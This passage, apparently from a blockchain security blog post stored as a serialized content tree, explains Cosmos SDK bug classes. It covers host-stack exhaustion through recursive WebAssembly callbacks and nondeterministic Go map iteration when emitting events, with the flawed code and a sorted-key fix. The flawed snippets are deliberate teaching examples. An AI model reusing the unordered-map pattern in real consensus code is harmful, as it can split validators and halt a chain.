"class":120,"line":263},[78643,78647,78652,78656,78661,78665,78669,78673,78677,78681],{"type":22,"tag":118,"props":78644,"children":78645},{"style":146},[78646],{"type":28,"value":4152},{"type":22,"tag":118,"props":78648,"children":78649},{"style":204},[78650],{"type":28,"value":78651}," target_ptr",{"type":22,"tag":118,"props":78653,"children":78654},{"style":210},[78655],{"type":28,"value":837},{"type":22,"tag":118,"props":78657,"children":78658},{"style":532},[78659],{"type":28,"value":78660}," ref_to_u32",{"type":22,"tag":118,"props":78662,"children":78663},{"style":125},[78664],{"type":28,"value":540},{"type":22,"tag":118,"props":78666,"children":78667},{"style":210},[78668],{"type":28,"value":1407},{"type":22,"tag":118,"props":78670,"children":78671},{"style":204},[78672],{"type":28,"value":11081},{"type":22,"tag":118,"props":78674,"children":78675},{"style":125},[78676],{"type":28,"value":3627},{"type":22,"tag":118,"props":78678,"children":78679},{"style":210},[78680],{"type":28,"value":796},{"type":22,"tag":118,"props":78682,"children":78683},{"style":125},[78684],{"type":28,"value":801},{"type":22,"tag":118,"props":78686,"children":78687},{"class":120,"line":318},[78688,78692,78696,78700,78704],{"type":22,"tag":118,"props":78689,"children":78690},{"style":1480},[78691],{"type":28,"value":2159},{"type":22,"tag":118,"props":78693,"children":78694},{"style":204},[78695],{"type":28,"value":78651},{"type":22,"tag":118,"props":78697,"children":78698},{"style":210},[78699],{"type":28,"value":1780},{"type":22,"tag":118,"props":78701,"children":78702},{"style":674},[78703],{"type":28,"value":5074},{"type":22,"tag":118,"props":78705,"children":78706},{"style":125},[78707],{"type":28,"value":1474},{"type":22,"tag":118,"props":78709,"children":78710},{"class":120,"line":351},[78711,78715,78719,78723,78728,78732,78737,78741,78745,78749],{"type":22,"tag":118,"props":78712,"children":78713},{"style":1480},[78714],{"type":28,"value":2223},{"type":22,"tag":118,"props":78716,"children":78717},{"style":131},[78718],{"type":28,"value":2228},{"type":22,"tag":118,"props":78720,"children":78721},{"style":125},[78722],{"type":28,"value":540},{"type":22,"tag":118,"props":78724,"children":78725},{"style":131},[78726],{"type":28,"value":78727},"CommunicationError",{"type":22,"tag":118,"props":78729,"children":78730},{"style":210},[78731],{"type":28,"value":1190},{"type":22,"tag":118,"props":78733,"children":78734},{"style":532},[78735],{"type":28,"value":78736},"zero_address",{"type":22,"tag":118,"props":78738,"children":78739},{"style":125},[78740],{"type":28,"value":1200},{"type":22,"tag":118,"props":78742,"children":78743},{"style":210},[78744],{"type":28,"value":292},{"type":22,"tag":118,"props":78746,"children":78747},{"style":532},[78748],{"type":28,"value":16863},{"type":22,"tag":118,"props":78750,"children":78751},{"style":125},[78752],{"type":28,"value":17399},{"type":22,"tag":118,"props":78754,"children":78755},{"class":120,"line":359},[78756],{"type":22,"tag":118,"props":78757,"children":78758},{"style":125},[78759],{"type":28,"value":1254},{"type":22,"tag":118,"props":78761,"children":78762},{"class":120,"line":368},[78763,78768,78772,78776,78780,78784,78788,78792,78797,78801,78805,78809,78813],{"type":22,"tag":118,"props":78764,"children":78765},{"style":532},[78766],{"type":28,"value":78767},"    write_region",{"type":22,"tag":118,"props":78769,"children":78770},{"style":125},[78771],{"type":28,"value":540},{"type":22,"tag":118,"props":78773,"children":78774},{"style":210},[78775],{"type":28,"value":1407},{"type":22,"tag":118,"props":78777,"children":78778},{"style":204},[78779],{"type":28,"value":37631},{"type":22,"tag":118,"props":78781,"children":78782},{"style":210},[78783],{"type":28,"value":292},{"type":22,"tag":118,"props":78785,"children":78786},{"style":532},[78787],{"type":28,"value":77568},{"type":22,"tag":118,"props":78789,"children":78790},{"style":125},[78791],{"type":28,"value":20341},{"type":22,"tag":118,"props":78793,"children":78794},{"style":204},[78795],{"type":28,"value":78796},"target_ptr",{"type":22,"tag":118,"props":78798,"children":78799},{"style":125},[78800],{"type":28,"value":231},{"type":22,"tag":118,"props":78802,"children":78803},{"style":204},[78804],{"type":28,"value":10369},{"type":22,"tag":118,"props":78806,"children":78807},{"style":125},[78808],{"type":28,"value":3627},{"type":22,"tag":118,"props":78810,"children":78811},{"style":210},[78812],{"type":28,"value":796},{"type":22,"tag":118,"props":78814,"children":78815},{"style":125},[78816],{"type":28,"value":801},{"type":22,"tag":118,"props":78818,"children":78819},{"class":120,"line":384},[78820,78824,78828,78832],{"type":22,"tag":118,"props":78821,"children":78822},{"style":131},[78823],{"type":28,"value":2542},{"type":22,"tag":118,"props":78825,"children":78826},{"style":125},[78827],{"type":28,"value":540},{"type":22,"tag":118,"props":78829,"children":78830},{"style":204},[78831],{"type":28,"value":78796},{"type":22,"tag":118,"props":78833,"children":78834},{"style":125},[78835],{"type":28,"value":3665},{"type":22,"tag":118,"props":78837,"children":78838},{"class":120,"line":417},[78839],{"type":22,"tag":118,"props":78840,"children":78841},{"style":125},[78842],{"type":28,"value":481},{"type":22,"tag":31,"props":78844,"children":78845},{},[78846,78848,78854,78856,78861],{"type":28,"value":78847},"As users have complete control over ",{"type":22,"tag":114,"props":78849,"children":78851},{"className":78850},[],[78852],{"type":28,"value":78853},"allocate",{"type":28,"value":78855},", there is a possibility to call back ",{"type":22,"tag":114,"props":78857,"children":78859},{"className":78858},[],[78860],{"type":28,"value":78316},{"type":28,"value":78862}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":22,"tag":31,"props":78864,"children":78865},{},[78866,78868,78875],{"type":28,"value":78867},"Additional real-world examples include ",{"type":22,"tag":42,"props":78869,"children":78872},{"href":78870,"rel":78871},"https://github.com/cosmos/cosmos-sdk/issues/16676",[46],[78873],{"type":28,"value":78874},"not returning proper values for malformed txs",{"type":28,"value":292},{"type":22,"tag":23,"props":78877,"children":78879},{"id":78878},"order-was-the-dream-of-man",[78880],{"type":28,"value":78881},"Order Was the Dream of Man",{"type":22,"tag":31,"props":78883,"children":78884},{},[78885],{"type":28,"value":78886},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":22,"tag":31,"props":78888,"children":78889},{},[78890],{"type":28,"value":78891},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":22,"tag":107,"props":78893,"children":78895},{"code":78894,"language":77760,"meta":7,"className":77761,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[78896],{"type":22,"tag":114,"props":78897,"children":78898},{"__ignoreMap":7},[78899,78932,78939,78968,79005,79034,79055,79067,79104,79112,79119,79126],{"type":22,"tag":118,"props":78900,"children":78901},{"class":120,"line":121},[78902,78906,78911,78915,78919,78923,78927],{"type":22,"tag":118,"props":78903,"children":78904},{"style":146},[78905],{"type":28,"value":34695},{"type":22,"tag":118,"props":78907,"children":78908},{"style":131},[78909],{"type":28,"value":78910}," ObjectMap",{"type":22,"tag":118,"props":78912,"children":78913},{"style":146},[78914],{"type":28,"value":51609},{"type":22,"tag":118,"props":78916,"children":78917},{"style":125},[78918],{"type":28,"value":5746},{"type":22,"tag":118,"props":78920,"children":78921},{"style":131},[78922],{"type":28,"value":31605},{"type":22,"tag":118,"props":78924,"children":78925},{"style":125},[78926],{"type":28,"value":17386},{"type":22,"tag":118,"props":78928,"children":78929},{"style":131},[78930],{"type":28,"value":78931},"string\n",{"type":22,"tag":118,"props":78933,"children":78934},{"class":120,"line":142},[78935],{"type":22,"tag":118,"props":78936,"children":78937},{"emptyLinePlaceholder":15},[78938],{"type":28,"value":250},{"type":22,"tag":118,"props":78940,"children":78941},{"class":120,"line":177},[78942,78946,78951,78955,78960,78964],{"type":22,"tag":118,"props":78943,"children":78944},{"style":146},[78945],{"type":28,"value":77896},{"type":22,"tag":118,"props":78947,"children":78948},{"style":532},[78949],{"type":28,"value":78950}," EmitEntries",{"type":22,"tag":118,"props":78952,"children":78953},{"style":125},[78954],{"type":28,"value":540},{"type":22,"tag":118,"props":78956,"children":78957},{"style":204},[78958],{"type":28,"value":78959},"objectMap",{"type":22,"tag":118,"props":78961,"children":78962},{"style":131},[78963],{"type":28,"value":78910},{"type":22,"tag":118,"props":78965,"children":78966},{"style":125},[78967],{"type":28,"value":16783},{"type":22,"tag":118,"props":78969,"children":78970},{"class":120,"line":195},[78971,78975,78979,78983,78987,78991,78996,79001],{"type":22,"tag":118,"props":78972,"children":78973},{"style":1480},[78974],{"type":28,"value":5059},{"type":22,"tag":118,"props":78976,"children":78977},{"style":204},[78978],{"type":28,"value":7941},{"type":22,"tag":118,"props":78980,"children":78981},{"style":125},[78982],{"type":28,"value":231},{"type":22,"tag":118,"props":78984,"children":78985},{"style":204},[78986],{"type":28,"value":41093},{"type":22,"tag":118,"props":78988,"children":78989},{"style":210},[78990],{"type":28,"value":78012},{"type":22,"tag":118,"props":78992,"children":78993},{"style":1480},[78994],{"type":28,"value":78995}," range",{"type":22,"tag":118,"props":78997,"children":78998},{"style":204},[78999],{"type":28,"value":79000}," objectMap",{"type":22,"tag":118,"props":79002,"children":79003},{"style":125},[79004],{"type":28,"value":1474},{"type":22,"tag":118,"props":79006,"children":79007},{"class":120,"line":244},[79008,79012,79016,79021,79025,79030],{"type":22,"tag":118,"props":79009,"children":79010},{"style":204},[79011],{"type":28,"value":1034},{"type":22,"tag":118,"props":79013,"children":79014},{"style":125},[79015],{"type":28,"value":292},{"type":22,"tag":118,"props":79017,"children":79018},{"style":204},[79019],{"type":28,"value":79020},"EventManager",{"type":22,"tag":118,"props":79022,"children":79023},{"style":125},[79024],{"type":28,"value":292},{"type":22,"tag":118,"props":79026,"children":79027},{"style":532},[79028],{"type":28,"value":79029},"EmitEvent",{"type":22,"tag":118,"props":79031,"children":79032},{"style":125},[79033],{"type":28,"value":696},{"type":22,"tag":118,"props":79035,"children":79036},{"class":120,"line":253},[79037,79042,79046,79051],{"type":22,"tag":118,"props":79038,"children":79039},{"style":204},[79040],{"type":28,"value":79041},"            sdk",{"type":22,"tag":118,"props":79043,"children":79044},{"style":125},[79045],{"type":28,"value":292},{"type":22,"tag":118,"props":79047,"children":79048},{"style":532},[79049],{"type":28,"value":79050},"NewEvent",{"type":22,"tag":118,"props":79052,"children":79053},{"style":125},[79054],{"type":28,"value":696},{"type":22,"tag":118,"props":79056,"children":79057},{"class":120,"line":263},[79058,79063],{"type":22,"tag":118,"props":79059,"children":79060},{"style":1866},[79061],{"type":28,"value":79062},"                \"MapContext\"",{"type":22,"tag":118,"props":79064,"children":79065},{"style":125},[79066],{"type":28,"value":782},{"type":22,"tag":118,"props":79068,"children":79069},{"class":120,"line":318},[79070,79075,79079,79084,79088,79092,79096,79100],{"type":22,"tag":118,"props":79071,"children":79072},{"style":204},[79073],{"type":28,"value":79074},"                sdk",{"type":22,"tag":118,"props":79076,"children":79077},{"style":125},[79078],{"type":28,"value":292},{"type":22,"tag":118,"props":79080,"children":79081},{"style":532},[79082],{"type":28,"value":79083},"NewAttribute",{"type":22,"tag":118,"props":79085,"children":79086},{"style":125},[79087],{"type":28,"value":540},{"type":22,"tag":118,"props":79089,"children":79090},{"style":204},[79091],{"type":28,"value":1093},{"type":22,"tag":118,"props":79093,"children":79094},{"style":125},[79095],{"type":28,"value":231},{"type":22,"tag":118,"props":79097,"children":79098},{"style":204},[79099],{"type":28,"value":41093},{"type":22,"tag":118,"props":79101,"children":79102},{"style":125},[79103],{"type":28,"value":3853},{"type":22,"tag":118,"props":79105,"children":79106},{"class":120,"line":351},[79107],{"type":22,"tag":118,"props":79108,"children":79109},{"style":125},[79110],{"type":28,"value":79111},"            )\n",{"type":22,"tag":118,"props":79113,"children":79114},{"class":120,"line":359},[79115],{"type":22,"tag":118,"props":79116,"children":79117},{"style":125},[79118],{"type":28,"value":70259},{"type":22,"tag":118,"props":79120,"children":79121},{"class":120,"line":368},[79122],{"type":22,"tag":118,"props":79123,"children":79124},{"style":125},[79125],{"type":28,"value":1254},{"type":22,"tag":118,"props":79127,"children":79128},{"class":120,"line":384},[79129],{"type":22,"tag":118,"props":79130,"children":79131},{"style":125},[79132],{"type":28,"value":481},{"type":22,"tag":31,"props":79134,"children":79135},{},[79136],{"type":28,"value":79137},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":22,"tag":1269,"props":79139,"children":79140},{},[79141],{"type":22,"tag":31,"props":79142,"children":79143},{},[79144],{"type":28,"value":79145},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":22,"tag":31,"props":79147,"children":79148},{},[79149,79151,79156],{"type":28,"value":79150},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":22,"tag":114,"props":79152,"children":79154},{"className":79153},[],[79155],{"type":28,"value":3595},{"type":28,"value":79157}," and then fetch the values using the sorted key array before emitting them.",{"type":22,"tag":107,"props":79159,"children":79161},{"code":79160,"language":77760,"meta":7,"className":77761,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[79162],{"type":22,"tag":114,"props":79163,"children":79164},{"__ignoreMap":7},[79165,79196,79203,79230,79250,79277,79313,79320,79349,79356,79391,79418,79437,79448,79492,79499,79506,79513],{"type":22,"tag":118,"props":79166,"children":79167},{"class":120,"line":121},[79168,79172,79176,79180,79184,79188,79192],{"type":22,"tag":118,"props":79169,"children":79170},{"style":146},[79171],{"type":28,"value":34695},{"type":22,"tag":118,"props":79173,"children":79174},{"style":131},[79175],{"type":28,"value":78910},{"type":22,"tag":118,"props":79177,"children":79178},{"style":146},[79179],{"type":28,"value":51609},{"type":22,"tag":118,"props":79181,"children":79182},{"style":125},[79183],{"type":28,"value":5746},{"type":22,"tag":118,"props":79185,"children":79186},{"style":131},[79187],{"type":28,"value":31605},{"type":22,"tag":118,"props":79189,"children":79190},{"style":125},[79191],{"type":28,"value":17386},{"type":22,"tag":118,"props":79193,"children":79194},{"style":131},[79195],{"type":28,"value":78931},{"type":22,"tag":118,"props":79197,"children":79198},{"class":120,"line":142},[79199],{"type":22,"tag":118,"props":79200,"children":79201},{"emptyLinePlaceholder":15},[79202],{"type":28,"value":250},{"type":22,"tag":118,"props":79204,"children":79205},{"class":120,"line":177},[79206,79210,79214,79218,79222,79226],{"type":22,"tag":118,"props":79207,"children":79208},{"style":146},[79209],{"type":28,"value":77896},{"type":22,"tag":118,"props":79211,"children":79212},{"style":532},[79213],{"type":28,"value":78950},{"type":22,"tag":118,"props":79215,"children":79216},{"style":125},[79217],{"type":28,"value":540},{"type":22,"tag":118,"props":79219,"children":79220},{"style":204},[79221],{"type":28,"value":78959},{"type":22,"tag":118,"props":79223,"children":79224},{"style":131},[79225],{"type":28,"value":78910},{"type":22,"tag":118,"props":79227,"children":79228},{"style":125},[79229],{"type":28,"value":16783},{"type":22,"tag":118,"props":79231,"children":79232},{"class":120,"line":195},[79233,79238,79242,79246],{"type":22,"tag":118,"props":79234,"children":79235},{"style":146},[79236],{"type":28,"value":79237},"    var",{"type":22,"tag":118,"props":79239,"children":79240},{"style":204},[79241],{"type":28,"value":23335},{"type":22,"tag":118,"props":79243,"children":79244},{"style":125},[79245],{"type":28,"value":77823},{"type":22,"tag":118,"props":79247,"children":79248},{"style":131},[79249],{"type":28,"value":78931},{"type":22,"tag":118,"props":79251,"children":79252},{"class":120,"line":244},[79253,79257,79261,79265,79269,79273],{"type":22,"tag":118,"props":79254,"children":79255},{"style":1480},[79256],{"type":28,"value":5059},{"type":22,"tag":118,"props":79258,"children":79259},{"style":204},[79260],{"type":28,"value":7941},{"type":22,"tag":118,"props":79262,"children":79263},{"style":210},[79264],{"type":28,"value":78012},{"type":22,"tag":118,"props":79266,"children":79267},{"style":1480},[79268],{"type":28,"value":78995},{"type":22,"tag":118,"props":79270,"children":79271},{"style":204},[79272],{"type":28,"value":79000},{"type":22,"tag":118,"props":79274,"children":79275},{"style":125},[79276],{"type":28,"value":1474},{"type":22,"tag":118,"props":79278,"children":79279},{"class":120,"line":253},[79280,79284,79288,79293,79297,79301,79305,79309],{"type":22,"tag":118,"props":79281,"children":79282},{"style":204},[79283],{"type":28,"value":27275},{"type":22,"tag":118,"props":79285,"children":79286},{"style":210},[79287],{"type":28,"value":837},{"type":22,"tag":118,"props":79289,"children":79290},{"style":532},[79291],{"type":28,"value":79292}," append",{"type":22,"tag":118,"props":79294,"children":79295},{"style":125},[79296],{"type":28,"value":540},{"type":22,"tag":118,"props":79298,"children":79299},{"style":204},[79300],{"type":28,"value":22939},{"type":22,"tag":118,"props":79302,"children":79303},{"style":125},[79304],{"type":28,"value":231},{"type":22,"tag":118,"props":79306,"children":79307},{"style":204},[79308],{"type":28,"value":1093},{"type":22,"tag":118,"props":79310,"children":79311},{"style":125},[79312],{"type":28,"value":3665},{"type":22,"tag":118,"props":79314,"children":79315},{"class":120,"line":263},[79316],{"type":22,"tag":118,"props":79317,"children":79318},{"style":125},[79319],{"type":28,"value":1254},{"type":22,"tag":118,"props":79321,"children":79322},{"class":120,"line":318},[79323,79328,79332,79337,79341,79345],{"type":22,"tag":118,"props":79324,"children":79325},{"style":204},[79326],{"type":28,"value":79327},"    sort",{"type":22,"tag":118,"props":79329,"children":79330},{"style":125},[79331],{"type":28,"value":292},{"type":22,"tag":118,"props":79333,"children":79334},{"style":532},[79335],{"type":28,"value":79336},"Strings",{"type":22,"tag":118,"props":79338,"children":79339},{"style":125},[79340],{"type":28,"value":540},{"type":22,"tag":118,"props":79342,"children":79343},{"style":204},[79344],{"type":28,"value":22939},{"type":22,"tag":118,"props":79346,"children":79347},{"style":125},[79348],{"type":28,"value":3665},{"type":22,"tag":118,"props":79350,"children":79351},{"class":120,"line":351},[79352],{"type":22,"tag":118,"props":79353,"children":79354},{"emptyLinePlaceholder":15},[79355],{"type":28,"value":250},{"type":22,"tag":118,"props":79357,"children":79358},{"class":120,"line":359},[79359,79363,79367,79371,79375,79379,79383,79387],{"type":22,"tag":118,"props":79360,"children":79361},{"style":1480},[79362],{"type":28,"value":5059},{"type":22,"tag":118,"props":79364,"children":79365},{"style":204},[79366],{"type":28,"value":5064},{"type":22,"tag":118,"props":79368,"children":79369},{"style":125},[79370],{"type":28,"value":231},{"type":22,"tag":118,"props":79372,"children":79373},{"style":204},[79374],{"type":28,"value":1093},{"type":22,"tag":118,"props":79376,"children":79377},{"style":210},[79378],{"type":28,"value":78012},{"type":22,"tag":118,"props":79380,"children":79381},{"style":1480},[79382],{"type":28,"value":78995},{"type":22,"tag":118,"props":79384,"children":79385},{"style":204},[79386],{"type":28,"value":23335},{"type":22,"tag":118,"props":79388,"children":79389},{"style":125},[79390],{"type":28,"value":1474},{"type":22,"tag":118,"props":79392,"children":79393},{"class":120,"line":368},[79394,79398,79402,79406,79410,79414],{"type":22,"tag":118,"props":79395,"children":79396},{"style":204},[79397],{"type":28,"value":1034},{"type":22,"tag":118,"props":79399,"children":79400},{"style":125},[79401],{"type":28,"value":292},{"type":22,"tag":118,"props":79403,"children":79404},{"style":204},[79405],{"type":28,"value":79020},{"type":22,"tag":118,"props":79407,"children":79408},{"style":125},[79409],{"type":28,"value":292},{"type":22,"tag":118,"props":79411,"children":79412},{"style":532},[79413],{"type":28,"value":79029},{"type":22,"tag":118,"props":79415,"children":79416},{"style":125},[79417],{"type":28,"value":696},{"type":22,"tag":118,"props":79419,"children":79420},{"class":120,"line":384},[79421,79425,79429,79433],{"type":22,"tag":118,"props":79422,"children":79423},{"style":204},[79424],{"type":28,"value":79041},{"type":22,"tag":118,"props":79426,"children":79427},{"style":125},[79428],{"type":28,"value":292},{"type":22,"tag":118,"props":79430,"children":79431},{"style":532},[79432],{"type":28,"value":79050},{"type":22,"tag":118,"props":79434,"children":79435},{"style":125},[79436],{"type":28,"value":696},{"type":22,"tag":118,"props":79438,"children":79439},{"class":120,"line":417},[79440,79444],{"type":22,"tag":118,"props":79441,"children":79442},{"style":1866},[79443],{"type":28,"value":79062},{"type":22,"tag":118,"props":79445,"children":79446},{"style":125},[79447],{"type":28,"value":782},{"type":22,"tag":118,"props":79449,"children":79450},{"class":120,"line":425},[79451,79455,79459,79463,79467,79471,79475,79479,79483,79487],{"type":22,"tag":118,"props":79452,"children":79453},{"style":204},[79454],{"type":28,"value":79074},{"type":22,"tag":118,"props":79456,"children":79457},{"style":125},[79458],{"type":28,"value":292},{"type":22,"tag":118,"props":79460,"children":79461},{"style":532},[79462],{"type":28,"value":79083},{"type":22,"tag":118,"props":79464,"children":79465},{"style":125},[79466],{"type":28,"value":540},{"type":22,"tag":118,"props":79468,"children":79469},{"style":204},[79470],{"type":28,"value":1093},{"type":22,"tag":118,"props":79472,"children":79473},{"style":125},[79474],{"type":28,"value":231},{"type":22,"tag":118,"props":79476,"children":79477},{"style":204},[79478],{"type":28,"value":78959},{"type":22,"tag":118,"props":79480,"children":79481},{"style":125},[79482],{"type":28,"value":5746},{"type":22,"tag":118,"props":79484,"children":79485},{"style":204},[79486],{"type":28,"value":1093},{"type":22,"tag":118,"props":79488,"children":79489},{"style":125},[79490],{"type":28,"value":79491},"]),\n",{"type":22,"tag":118,"props":79493,"children":79494},{"class":120,"line":441},[79495],{"type":22,"tag":118,"props":79496,"children":79497},{"style":125},[79498],{"type":28,"value":79111},{"type":22,"tag":118,"props":79500,"children":79501},{"class":120,"line":475},[79502],{"type":22,"tag":118,"props":79503,"children":79504},{"style":125},[79505],{"type":28,"value":70259},{"type":22,"tag":118,"props":79507,"children":79508},{"class":120,"line":484},[79509],{"type":22,"tag":118,"props":79510,"children":79511},{"style":125},[79512],{"type":28,"value":1254},{"type":22,"tag":118,"props":79514,"children":79515},{"class":120,"line":492},[79516],{"type":22,"tag":118,"props":79517,"children":79518},{"style":125},[79519],{"type":28,"value":481},{"type":22,"tag":31,"props":79521,"children":79522},{},[79523],{"type":28,"value":79524},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":22,"tag":1289,"props":79526,"children":79528},{"id":79527},"real-world-examples-1",[79529],{"type":28,"value":78285},{"type":22,"tag":31,"props":79531,"children":79532},{},[79533,79535,79540,79542,79548,79550,79556,79558,79564],{"type":28,"value":79534},"Real-world examples of ",{"type":22,"tag":114,"props":79536,"children":79538},{"className":79537},[],[79539],{"type":28,"value":3595},{"type":28,"value":79541}," causing determinism problems can be found ",{"type":22,"tag":42,"props":79543,"children":79546},{"href":79544,"rel":79545},"https://github.com/cosmos/cosmos-sdk/pull/12487",[46],[79547],{"type":28,"value":1377},{"type":28,"value":79549},", specifically, where the result of ",{"type":22,"tag":114,"props":79551,"children":79553},{"className":79552},[],[79554],{"type":28,"value":79555},"buildCommitInfo",{"type":28,"value":79557}," is inconsistent due to iteration over the ",{"type":22,"tag":114,"props":79559,"children":79561},{"className":79560},[],[79562],{"type":28,"value":79563},"rs.stores",{"type":28,"value":79565}," map.",{"type":22,"tag":31,"props":79567,"children":79568},{},[79569],{"type":22,"tag":42,"props":79570,"children":79573},{"href":79571,"rel":79572},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[46],[79574],{"type":28,"value":78335},{"type":22,"tag":107,"props":79576,"children":79578},{"code":79577,"language":77760,"meta":7,"className":77761,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[79579],{"type":22,"tag":114,"props":79580,"children":79581},{"__ignoreMap":7},[79582,79619,79632,79660,79694,79739,79785,79793,79800,79845,79875,79904,79911,79918,79945,79967,79987,79994],{"type":22,"tag":118,"props":79583,"children":79584},{"class":120,"line":121},[79585,79589,79593,79598,79602,79607,79611,79615],{"type":22,"tag":118,"props":79586,"children":79587},{"style":146},[79588],{"type":28,"value":77896},{"type":22,"tag":118,"props":79590,"children":79591},{"style":125},[79592],{"type":28,"value":842},{"type":22,"tag":118,"props":79594,"children":79595},{"style":204},[79596],{"type":28,"value":79597},"rs ",{"type":22,"tag":118,"props":79599,"children":79600},{"style":210},[79601],{"type":28,"value":671},{"type":22,"tag":118,"props":79603,"children":79604},{"style":131},[79605],{"type":28,"value":79606},"Store",{"type":22,"tag":118,"props":79608,"children":79609},{"style":125},[79610],{"type":28,"value":588},{"type":22,"tag":118,"props":79612,"children":79613},{"style":532},[79614],{"type":28,"value":79555},{"type":22,"tag":118,"props":79616,"children":79617},{"style":125},[79618],{"type":28,"value":696},{"type":22,"tag":118,"props":79620,"children":79621},{"class":120,"line":142},[79622,79627],{"type":22,"tag":118,"props":79623,"children":79624},{"style":204},[79625],{"type":28,"value":79626},"    version",{"type":22,"tag":118,"props":79628,"children":79629},{"style":131},[79630],{"type":28,"value":79631}," int64\n",{"type":22,"tag":118,"props":79633,"children":79634},{"class":120,"line":177},[79635,79639,79643,79647,79651,79656],{"type":22,"tag":118,"props":79636,"children":79637},{"style":125},[79638],{"type":28,"value":588},{"type":22,"tag":118,"props":79640,"children":79641},{"style":210},[79642],{"type":28,"value":671},{"type":22,"tag":118,"props":79644,"children":79645},{"style":131},[79646],{"type":28,"value":7769},{"type":22,"tag":118,"props":79648,"children":79649},{"style":125},[79650],{"type":28,"value":292},{"type":22,"tag":118,"props":79652,"children":79653},{"style":131},[79654],{"type":28,"value":79655},"CommitInfo",{"type":22,"tag":118,"props":79657,"children":79658},{"style":125},[79659],{"type":28,"value":1474},{"type":22,"tag":118,"props":79661,"children":79662},{"class":120,"line":195},[79663,79668,79672,79676,79680,79684,79689],{"type":22,"tag":118,"props":79664,"children":79665},{"style":204},[79666],{"type":28,"value":79667},"    storeInfos",{"type":22,"tag":118,"props":79669,"children":79670},{"style":210},[79671],{"type":28,"value":78012},{"type":22,"tag":118,"props":79673,"children":79674},{"style":125},[79675],{"type":28,"value":77823},{"type":22,"tag":118,"props":79677,"children":79678},{"style":131},[79679],{"type":28,"value":7769},{"type":22,"tag":118,"props":79681,"children":79682},{"style":125},[79683],{"type":28,"value":292},{"type":22,"tag":118,"props":79685,"children":79686},{"style":131},[79687],{"type":28,"value":79688},"StoreInfo",{"type":22,"tag":118,"props":79690,"children":79691},{"style":125},[79692],{"type":28,"value":79693},"{}\n",{"type":22,"tag":118,"props":79695,"children":79696},{"class":120,"line":244},[79697,79701,79705,79709,79713,79717,79721,79726,79730,79735],{"type":22,"tag":118,"props":79698,"children":79699},{"style":1480},[79700],{"type":28,"value":5059},{"type":22,"tag":118,"props":79702,"children":79703},{"style":204},[79704],{"type":28,"value":7941},{"type":22,"tag":118,"props":79706,"children":79707},{"style":125},[79708],{"type":28,"value":231},{"type":22,"tag":118,"props":79710,"children":79711},{"style":204},[79712],{"type":28,"value":7950},{"type":22,"tag":118,"props":79714,"children":79715},{"style":210},[79716],{"type":28,"value":78012},{"type":22,"tag":118,"props":79718,"children":79719},{"style":1480},[79720],{"type":28,"value":78995},{"type":22,"tag":118,"props":79722,"children":79723},{"style":204},[79724],{"type":28,"value":79725}," rs",{"type":22,"tag":118,"props":79727,"children":79728},{"style":125},[79729],{"type":28,"value":292},{"type":22,"tag":118,"props":79731,"children":79732},{"style":204},[79733],{"type":28,"value":79734},"stores",{"type":22,"tag":118,"props":79736,"children":79737},{"style":125},[79738],{"type":28,"value":1474},{"type":22,"tag":118,"props":79740,"children":79741},{"class":120,"line":253},[79742,79746,79750,79754,79759,79763,79767,79772,79776,79781],{"type":22,"tag":118,"props":79743,"children":79744},{"style":1480},[79745],{"type":28,"value":5293},{"type":22,"tag":118,"props":79747,"children":79748},{"style":204},[79749],{"type":28,"value":7841},{"type":22,"tag":118,"props":79751,"children":79752},{"style":125},[79753],{"type":28,"value":292},{"type":22,"tag":118,"props":79755,"children":79756},{"style":532},[79757],{"type":28,"value":79758},"GetStoreType",{"type":22,"tag":118,"props":79760,"children":79761},{"style":125},[79762],{"type":28,"value":2182},{"type":22,"tag":118,"props":79764,"children":79765},{"style":210},[79766],{"type":28,"value":302},{"type":22,"tag":118,"props":79768,"children":79769},{"style":204},[79770],{"type":28,"value":79771}," types",{"type":22,"tag":118,"props":79773,"children":79774},{"style":125},[79775],{"type":28,"value":292},{"type":22,"tag":118,"props":79777,"children":79778},{"style":204},[79779],{"type":28,"value":79780},"StoreTypeTransient",{"type":22,"tag":118,"props":79782,"children":79783},{"style":125},[79784],{"type":28,"value":1474},{"type":22,"tag":118,"props":79786,"children":79787},{"class":120,"line":263},[79788],{"type":22,"tag":118,"props":79789,"children":79790},{"style":1480},[79791],{"type":28,"value":79792},"            continue\n",{"type":22,"tag":118,"props":79794,"children":79795},{"class":120,"line":318},[79796],{"type":22,"tag":118,"props":79797,"children":79798},{"style":125},[79799],{"type":28,"value":1835},{"type":22,"tag":118,"props":79801,"children":79802},{"class":120,"line":351},[79803,79808,79812,79816,79820,79825,79829,79833,79837,79841],{"type":22,"tag":118,"props":79804,"children":79805},{"style":204},[79806],{"type":28,"value":79807},"        